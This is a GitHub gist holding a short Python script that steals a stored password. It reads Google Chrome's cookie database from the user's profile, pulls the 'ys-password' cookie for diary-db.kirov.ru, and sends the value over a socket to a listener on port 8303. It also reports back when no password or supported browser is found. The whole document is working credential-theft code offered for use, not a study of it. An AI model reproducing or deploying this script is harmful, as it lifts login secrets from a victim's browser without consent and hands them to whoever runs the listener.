Created
October 28, 2013 17:35
-
-
Save matancev/7201131 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import sqlite3, os, socket | |
| def sendPassword(passw): | |
| sock = socket.socket() | |
| try: | |
| sock.connect(("127.0.0.1", 8303)) | |
| except ConnectionRefusedError: | |
| print("Server is off") | |
| return | |
| sock.send(str.encode(passw)) | |
| sock.close() | |
| #Google Chrome | |
| pathToChromeCookies = os.getenv("APPDATA")[0:-7] + "Local\\Google\\Chrome\\User Data\\Default\\Cookies" | |
| if os.path.exists(pathToChromeCookies): | |
| conn = sqlite3.connect(pathToChromeCookies) | |
| cursor = conn.cursor() | |
| cursor.execute("SELECT value FROM cookies WHERE host_key='diary-db.kirov.ru' AND name='ys-password'") | |
| password = cursor.fetchone() | |
| #Close all connections | |
| cursor.close() | |
| conn.close() | |
| #If password found | |
| if password != None: | |
| sendPassword(password[0][4:]) | |
| exit() | |
| else: | |
| sendPassword("Chrome: Password not found!") | |
| #Opera | |
| pathToOperaCookies = "/" | |
| #Firefox | |
| sendPassword("No supported browsers found!") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment